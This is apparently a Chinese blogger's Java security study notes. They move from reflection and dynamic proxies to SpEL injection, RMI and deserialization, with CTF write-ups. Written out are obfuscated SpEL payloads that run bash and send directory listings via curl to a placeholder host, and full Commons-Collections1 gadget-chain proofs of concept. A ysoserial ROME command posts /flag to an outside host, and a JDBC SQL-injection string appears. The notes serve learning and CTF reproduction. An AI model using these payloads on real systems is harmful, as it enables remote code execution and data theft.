JAVA安全
目录
摸🐟一年,尝试了一会儿pytorch/BERT还摸了一下yolo,后面寒假连暑假,天天逃离塔科夫
很久没更博客了

JAVA基础
俺没啥爪洼基础,先看一眼
泛型
一种多态,泛型会被编译器处理,在编译过后会被替换为原来的原生类型
https://juejin.im/post/5b614848e51d45355d51f792#heading-11


注解
@Override 重写父类方法
@SuppressWarnings 抑制warning
@Deprecated 提醒你老旧版本
Java语言使用@interface
语法来定义注解(Annotation
)
元注解
@Target 可以规定注解的对象
@Target({ ElementType.METHOD, ElementType.FIELD }) @Retention 定义注解的生命周期
反射
感觉和php反射差不多吧,javaweb的漏洞感觉很多时候会用到反射,在程序运行时可以获取任意一个类的各种信息
获取类的方法:
- obj.getClass() 通过实例化的对象获取类
- Class.forName 通过类的名字获取类
- Class.class 通过已经加载了的类获取类(不算反射)
关于初始化
我们平时使用的forName其实是Class<?> forName(String name)
,是下面这个函数的一个封装,其中init=true,classloader=currentloader
Class<?> forName(String name, **boolean** initialize, ClassLoader loader)
所以使用forName时,会自动初始化对象,而使用.class时,不会自动初始化对象
动态代理
import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; public class DynamicProxy implements InvocationHandler { private Object obj; DynamicProxy(Object obj){ this.obj=obj; } @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { Object result; if (method.getName().equals("ad")){ System.out.println("要打广告了"); result=method.invoke(obj,args); }else{ result=method.invoke(obj,args); System.out.println("出售了"); } return result; } }
public class Vendor implements Sell{ public void sell() { System.out.println("sell method"); } public void ad() { System.out.println("ad method"); } }
import java.lang.reflect.Proxy; public class Main { public static void main(String[] args) { //创建中介类 DynamicProxy dynamicProxy=new DynamicProxy(new Vendor()); //save一个代理类的文件 System.getProperties().put("sun.misc.ProxyGenerator.saveGeneratedFiles","true"); //创建代理类的实例 Sell sell = (Sell)(Proxy.newProxyInstance(Sell.class.getClassLoader(), new Class[] {Sell.class}, dynamicProxy)); sell.sell(); sell.ad(); } }
或者这样写更加紧凑一点👇
public static void main(String[] args) throws Throwable{ Vendor target=new Vendor(); Sell sell=(Sell)getProxy(target); sell.ad(); sell.sell(); } private static Object getProxy(final Object target) throws Exception{ Object proxy=Proxy.newProxyInstance( target.getClass().getClassLoader(), target.getClass().getInterfaces(), new InvocationHandler() { @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { Object result; if (method.getName().equals("ad")){ System.out.println("要打广告了"); result=method.invoke(target,args); }else{ result=method.invoke(target,args); System.out.println("出售了"); } return result; } } ); return proxy; }
关于RCE
两种构造方法
Maven
快进到springboot
SpringBoot
快进到spel
SpEL表达式注入
@RestController public class IndexController { @RequestMapping("/index") public String index(@RequestParam("input") String input){ SpelExpressionParser parser=new SpelExpressionParser(); Expression expression = parser.parseExpression(input); return expression.getValue().toString(); } }
例题:code-breaking 2018 javacon
WSL2起的docker,在win做端口转发
netsh interface portproxy add v4tov4 listenport=80 connectaddress=127.0.0.1 connectport=80 listenaddress=* protocol=tcp # netsh interface portproxy delete v4tov4 listenport=80 protocol=tcp netsh interface portproxy add v4tov4 listenport=8081 connectaddress=127.0.0.1 connectport=8081 listenaddress=* protocol=tcp # netsh interface portproxy delete v4tov4 listenport=80 protocol=tcp
下载源码分析逻辑,发现session中存在spel注入
没有回显 屏蔽 java.+lang Runtime exec.*
只需要在forName、getmethod等方法里面拼接字符串作为参数就可以了
注意base64一行最多76个字符,所以要使用tr命令把换行符换成其他符号,比如!
最终payload差不多长这样
0.getClass().forName("java.lang.Runtime").getMethod("exec",String[].class).invoke(forName("java.lang.Runtime").getMethod("getRuntime").invoke("java.lang.Runtime"),new String[]{"/bin/bash","-c","`curl your_ip:port` ls / |base64|tr '\\n' '!' "})
public class Main { public static void main(String[] args) { Main a=new Main(); System.out.println(Encryptor.encrypt("c0dehack1nghere1", "0123456789abcdef", "#{0.getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(0.getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(0.getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"/bin/bash\",\"-c\",\"curl your_ip:port/` ls / |base64|tr '\\n' '!' `\"})}")); // 0.getClass().forName("java.lang.Runtime").getMethod("exec",String[]).invoke(forName("java.lang.Runtime").getMethod("getRuntime").invoke("java.lang.Runtime"),new String[]{"/bin/bash","-c","`curl your_ip:port` ls / |base64|tr '\\n' '!' "}) } }
不过这题过滤得不够严格,ddctf的那道java过滤得更严格一点,写了个脚本跑出类似ddctf那道题的payload:
0.class.forName(T(Character).toString(106).concat(T(Character).toString(97)).concat(T(Character).toString(118)).concat(T(Character).toString(97)).concat(T(Character).toString(46)).concat(T(Character).toString(108)).concat(T(Character).toString(97)).concat(T(Character).toString(110)).concat(T(Character).toString(103)).concat(T(Character).toString(46)).concat(T(Character).toString(82)).concat(T(Character).toString(117)).concat(T(Character).toString(110)).concat(T(Character).toString(116)).concat(T(Character).toString(105)).concat(T(Character).toString(109)).concat(T(Character).toString(101))).getMethod(T(Character).toString(101).concat(T(Character).toString(120)).concat(T(Character).toString(101)).concat(T(Character).toString(99)),T(String[])).invoke(0.class.forName(T(Character).toString(106).concat(T(Character).toString(97)).concat(T(Character).toString(118)).concat(T(Character).toString(97)).concat(T(Character).toString(46)).concat(T(Character).toString(108)).concat(T(Character).toString(97)).concat(T(Character).toString(110)).concat(T(Character).toString(103)).concat(T(Character).toString(46)).concat(T(Character).toString(82)).concat(T(Character).toString(117)).concat(T(Character).toString(110)).concat(T(Character).toString(116)).concat(T(Character).toString(105)).concat(T(Character).toString(109)).concat(T(Character).toString(101))).getMethod(T(Character).toString(103).concat(T(Character).toString(101)).concat(T(Character).toString(116)).concat(T(Character).toString(82)).concat(T(Character).toString(117)).concat(T(Character).toString(110)).concat(T(Character).toString(116)).concat(T(Character).toString(105)).concat(T(Character).toString(109)).concat(T(Character).toString(101))).invoke(0.class.forName(T(Character).toString(106).concat(T(Character).toString(97)).concat(T(Character).toString(118)).concat(T(Character).toString(97)).concat(T(Character).toString(46)).concat(T(Character).toString(108)).concat(T(Character).toString(97)).concat(T(Character).toString(110)).concat(T(Character).toString(103)).concat(T(Character).toString(46)).concat(T(Character).toString(82)).concat(T(Character).toString(117)).concat(T(Character).toString(110)).concat(T(Character).toString(116)).concat(T(Character).toString(105)).concat(T(Character).toString(109)).concat(T(Character).toString(101)))),new String[]{"/bin/bash","-c","curl your_ip:port/` ls / |base64|tr '\n' '!'`"})
成功执行命令,虽然payload有点长

JAVA RMI
服务端注册一个RMI Registry,客户端可以根据name向RMI Registry查询对象,然后建立第二次tcp连接去请求辣个对象

JAVA的RMI也依赖于序列化和反序列化
快进到反序列化
JAVA反序列化
序列化的时候会调用writeobject,writeobject的内容会被放在objectannotation中
反序列化的时候会调用readobject
这两个就像php里的__sleep和__wakeup
YSoSerial-URLDNS

生成payload的链
- 主类GeneratePayload
- ObjectPayload->getObject()
- URLDNS->getobject() 这个方法最后会return一个Hashmap对象,所以直接看hashmap的readobject方法即可
- HashMap->put()
- HashMap->hash(Object key) 此时的key是一个java.net.URL对象
- URL->hashCode(),此时调用handler.hashCode(),而此时handler为URLDNS$SilentURLStreamHandler,这个类是YSoSerial自己实现的一个类,继承了URLStreamHandler,目的是为了运行脚本的时候不发送DNS请求
- URLStreamHandler->getHostAddress 在这个函数中java将会发起dns请求,在这里ysoserial脚本中直接return null
反序列化的链
因为URLDNS->getobject()方法返回的对象是HashMap,所以直接跟hashmap的readobject方法
- HashMap->readobject()
- hashMap->hash()
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://a.69bf6x.dnslog.cn" >a.bin
反序列化生成的bin文件以后,可以看到dnslog
import java.io.*; public class Main{ public static void main(String[] args) throws Exception{ FileInputStream fin = new FileInputStream("C:\\.....\\a.bin"); ObjectInputStream in = new ObjectInputStream(fin); in.readObject(); in.close(); fin.close(); } }

YSoSerial-CommonCollections1
TransformedMap链
感觉TransformedMAP有点PHP的call_user_func_array的感觉
一个利用的demo:
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.FileOutputStream; import java.io.ObjectOutputStream; import java.util.HashMap; import java.util.Map; public class CommonCollections1 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec", new Class[]{String.class}, new Object[] {"calc.exe"}), }; Transformer transformerChain = new ChainedTransformer(transformers); FileOutputStream f = new FileOutputStream("payload.bin"); ObjectOutputStream fout = new ObjectOutputStream(f); Map innerMap = new HashMap(); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); outerMap.put("test", "xxxx"); } }
上面的代码中有几个地方需要理解,首先是最后一句outMap.put中,会触发transformerChain中所有对象的transform方法
public Object put(Object key, Object value) { key = this.transformKey(key); value = this.transformValue(value); return this.getMap().put(key, value); } protected Object transformValue(Object object) { return this.valueTransformer == null ? object : this.valueTransformer.transform(object); } public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); } return object; }
在transform方法中,object=this.iTransformers[i].transfrom(object);
,明显是将iTransformers中上一个元素的返回结果当作参数传给下一个元素
- 第一次执行:把xxx传给Runtime(ConstantTransformer)
- 第二次执行:把Runtime传给exec(InvokerTransformer)


从上面两张图可以看出,method.invoke(input,this.iArgs)就是执行了
Runtime.class.getMethod("exec",String.class).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Runtime.class),"calc.exe");
结果就是弹出一个计算器
//constantTransformer 返回原本的object public ConstantTransformer(Object constantToReturn) { this.iConstant = constantToReturn; } //invokerTransformer 调用方法 public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var6) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException var7) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7); } } }
知道了如何执行调用计算器的函数以后,我们在退回一步,看看TransformedMap.decorate和chainedTransformer
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); }

到这里就完全理解了这个demo,接下来要生成可用的Payload,那么我们首先需要找到一个类的readObject,而且在这个readObject里还要有增加或者修改map的操作
这个类就是sun.reflect.annotation.AnnotationInvocationHandler
//构造方法 AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) { Class[] var3 = var1.getInterfaces(); if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) { this.type = var1; this.9 = var2; } else { throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); } } //readobject private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null; try { var2 = AnnotationType.getInstance(this.type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException("Non-annotation type in annotation serial stream"); } Map var3 = var2.memberTypes(); Iterator var4 = this.memberValues.entrySet().iterator(); while(var4.hasNext()) { Entry var5 = (Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { //此处调用setValue,那么只要让memberValues=outermap即可 var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))); } } } }
另外,Runtime类不能序列化,要使用反射类,而且要保证var7!=null,所以var5中key的值必须为”value”


所以我们可以得到第一个可以在jdk版本小于8u71的环境中生效的poc
public class CommonCollections1 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), //还需要填充 调用getRuntime得到Runtime实例 new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}) }; /* Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec", new Class[]{String.class}, new Object[] {"calc.exe"}), }; */ Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("value","xx"); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); //outerMap.put("test", "xxxx"); //readobject 替代 outerMap.put Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); Object obj = construct.newInstance(Retention.class, outerMap); //生成payload FileOutputStream f = new FileOutputStream("payload.bin"); ObjectOutputStream oos = new ObjectOutputStream(f); oos.writeObject(obj); oos.close(); //服务端反序列化 FileInputStream fi = new FileInputStream("payload.bin"); ObjectInputStream fin = new ObjectInputStream(fi); fin.readObject(); } }
LazyMap链
LazyMap链是ysoserial中真正用到的cc1反序列化链,在poc中修改outerMap
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
在LazyMap中的get方法会调用transform方法
public Object get(Object key) { if (!super.map.containsKey(key)) { Object value = this.factory.transform(key); super.map.put(key, value); return value; } else { return super.map.get(key); } }
然而AnnotationInvocationHandler的readobject方法不会调用get方法,并且AnnotationInvocationHandler中的invoke方法调用了get方法,所以我们使用代理类触发invoke方法,最后再把代理类包装到AnnotationInvocationHandler里即可,最终Poc如下
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; public class RealCommonCollections1 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), //还需要填充 调用getRuntime得到Runtime实例 new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}) }; /* Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec", new Class[]{String.class}, new Object[] {"calc.exe"}), }; */ Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("value","xx"); Map outerMap = LazyMap.decorate(innerMap, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); Object obj = construct.newInstance(Retention.class, outerMap); //代理 InvocationHandler handler=(InvocationHandler)construct.newInstance(Retention.class,outerMap); Map proxyMap=(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),Map.class.getInterfaces(),handler); //转回InvocationHandler handler=(InvocationHandler)construct.newInstance(Retention.class,proxyMap); //生成payload FileOutputStream f = new FileOutputStream("payload.bin"); ObjectOutputStream oos = new ObjectOutputStream(f); oos.writeObject(handler); oos.close(); //服务端反序列化 FileInputStream fi = new FileInputStream("payload.bin"); ObjectInputStream fin = new ObjectInputStream(fi); fin.readObject(); } }
随便找一题感受一下
[网鼎杯 2020 朱雀组]Think Java复现
有个swagger-ui.html
先是jdbc sql注入,这里使用#号
dbName = "jdbc:mysql://mysqldbserver:3306/" + dbName;

或者myapp%3fasdsadasd%3d'+union+SELECT%20pwd%20from%20user+limit+0,1%23
这样的也可以,因为jdbc:mysql://这里会做一个类似url的解析
用用户名密码登录了以后有个Authorization:bearer xxx,以rO0AB开头,可以知道是java序列化的数据经过Base64编码,另外如果以aced开头,则是16进制编码的数据,然后使用java -jar ysoserial-0.0.5-all.jar ROME "curl http://18176-6a03bf61-ed70-4d81-ac26-454a510e2255:2333 -d @/flag" |base64| tr -d '\n'
即可(-d
参数可以读取本地文本文件的数据,向服务器发送。)(在buuoj上复现的,要开个frp)

这一篇先这样8,上面这个题感觉和反序列化关系并不是很大,后面找一些好一点的题复现,顺便也多看几条ysoserial里的利用链,再看看fastjson和weblogic啥的